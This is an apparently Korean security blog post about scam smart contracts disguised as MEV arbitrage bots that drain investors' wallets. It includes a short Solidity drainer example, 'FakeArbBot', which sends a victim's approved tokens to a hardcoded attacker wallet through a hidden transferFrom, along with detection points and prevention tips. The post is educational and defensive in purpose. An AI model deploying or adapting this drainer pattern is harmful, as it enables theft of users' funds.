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요즘 블록체인과 암호화폐 세계에서는 스마트 컨트랙트(Smart Contract) 보안 취약점이 해커들의 단골 공격 표적이죠.
그런데 최근에는 단순한 취약점 악용이 아니라, 아예 사기꾼이 만든 '악성' 스마트 컨트랙트를 배포해서 투자자들의 지갑을 통째로 털어가는 수법이 급증하고 있습니다.
이번에 보안업체 SentinelOne이 공개한 사례에서는, 한 공격자가 ‘암호화폐 차익거래(Arbitrage)로 돈 버는 자동 봇’을 빙자한 스마트 컨트랙트를 배포해 약 93만 5천 달러(한화 약 9억 3천만 원)를 훔쳤습니다. 😨
🎯 사기의 전형적인 시나리오
- 유튜브·블로그·포럼에서 '수익 보장' 홍보
- "이 스마트 컨트랙트를 배포하면 하루에 수백 달러를 벌 수 있다"
- "MEV(Maximal Extractable Value) 차익거래로 시세 차익을 자동 수익화"
- 코드 제공
- Pastebin 같은 사이트에 스마트 컨트랙트 코드 공개
- 사용자는 "공짜로 제공되는 기회"라고 믿고 배포 진행
- 숨겨진 함정
- 코드 안에 외부 지갑(EOA)로 자금 송금하는 함수가 은밀하게 숨겨져 있음
- 초보자는 Solidity 코드 구조를 이해 못하고 넘어감
- 실행과 피해
- 피해자가 컨트랙트를 배포 → 자신의 자금 투입
- 즉시 공격자 지갑으로 전송 → 피해금 회수 불가
🎯 예시
더보기
아이디어: 사용자가 컨트랙트에 토큰을 예치(approve/permit)하면, 공격자가 백도어 함수나 자동 훅에서 사용자의 잔고를 transferFrom으로 가져감.
// ⚠️ 분석용 축약 예시 (배포 금지)
pragma solidity ^0.8.20;
interface IERC20 {
function transferFrom(address from, address to, uint256 v) external returns(bool);
function approve(address spender, uint256 v) external returns(bool);
}
contract FakeArbBot {
IERC20 immutable token;
address immutable thief; // 외부 EOA
constructor(IERC20 _t) {
token = _t;
thief = 0xDeaDDeADDEadDEADDEADDEAddeadDEADDEADDEa; // 공격자 지갑
}
// 겉보기: 예치/봇시작
function depositAndRun(uint256 amount) external {
// 사용자는 사전에 token.approve(this, amount) 또는 permit 서명
// “봇 실행”인 척 하다가…
_steal(msg.sender, amount);
}
// 👿 숨겨진 드레인
function _steal(address victim, uint256 amount) internal {
// 사용자가 승인한 한도 내에서 통째로 훔침
token.transferFrom(victim, thief, amount);
}
}
이렇게 돈을 뺀다
- 영상/블로그가 “이 컨트랙트에 예치만 하면 자동 차익거래!”라고 유도
- 사용자가 approve(또는 EIP‑2612 permit) → 공격 컨트랙트가 승인 한도를 이용해 transferFrom(victim, thief) 실행
- UI는 “실패/재시도”처럼 속이고, 토큰은 이미 빠져나감
탐지 포인트
- 사용자 자산을 임의 transferFrom(from, EOA) 하는 내부/비공개 함수
- permit(서명 기반 승인) 경로가 있는지 + 직후 transferFrom 호출 유무
- thief처럼 EOA 하드코딩 또는 owner()가 외부 지갑을 가리키는지
🧩 왜 이렇게 속기 쉬운가?
- 복잡한 코드 구조 + 난독화
- 악성 함수나 변수명을 일부러 어렵게, 의미 불명하게 작성
- 초보자는 겉으로 보기엔 정상적인 거래 로직처럼 착각
- 스마트 컨트랙트의 특성
- 블록체인에 올리면 변경 불가(Immutable) → 잘못 올린 순간 돌이킬 수 없음
- 실행도 자동화되어 있어, 피해 인지 시점에는 이미 자금이 이동
- 사람 심리 노림수
- "단기간에 큰 수익" → 판단력 흐려짐
- 유명 플랫폼(유튜브 등)에서 본 정보라 안심
📊 피해 규모와 사례
- 4.19 ETH (~15,000달러) 털린 사례
- 244.9 ETH (~935,000달러) 피해 → 가장 큰 건
- 그 외: 약 2만 8천 달러 지갑 연결 사례 등 다수 발견
CredShields의 통계에 따르면 2020년 이후 14억 달러 이상이 스마트 컨트랙트 취약점·사기로 유출되었으며,
이 중 절반 이상(55%)이 코드 버그나 로직 결함 때문입니다.
나머지 45%는 개인키 유출, 러그풀(Rug Pull) 같은 사기 행위가 차지합니다.
🔍 스마트 컨트랙트 보안에서 자주 나오는 문제
- 권한 관리 부실
- 승인되지 않은 사용자가 민감한 함수 호출 가능
- 오라클(Oracle) 조작
- 외부 데이터 제공자가 가격·정보를 왜곡
- 로직 결함
- 특정 조건에서 무한 반복, 무제한 인출 등
- 업그레이드 기능 악용
- '업그레이드 가능' 옵션을 통해 악성 코드 삽입
🛡️ 예방 방법 (기업 & 개인 모두 해당)
- 코드 검증 필수
- 배포 전 코드 리뷰, 신뢰할 수 있는 소스 사용
- 난독화 코드가 있으면 무조건 의심
- 정기 보안 감사
- 전문 감사 업체에 정기적으로 Audit 의뢰
- 실시간 모니터링
- 스마트 컨트랙트 동작·트랜잭션 이상 탐지
- 출처 확인
- 유튜브, 블로그 등에서 받은 코드는 절대 바로 배포 금지
- 테스트넷 활용
- 메인넷에 올리기 전, 소규모 자금으로 테스트
📌 핵심 교훈
- 스마트 컨트랙트는 변경 불가 & 자동 실행이라는 특성 때문에, 한 번 배포하면 되돌릴 수 없습니다.
- 초보자는 특히 ‘고수익 보장’ 홍보에 쉽게 속으니, 코드 한 줄이라도 직접 읽고 이해하거나 전문가 검증을 받아야 합니다.
- 기업도, 블록체인·DeFi 서비스라면 코드 관리·모니터링·감사를 지속적으로 해야만 안전합니다.
💡 한줄 요약
"블록체인도 계약서도, 읽어보지 않고 도장 찍으면 9억이 순식간에 사라진다." 🚨
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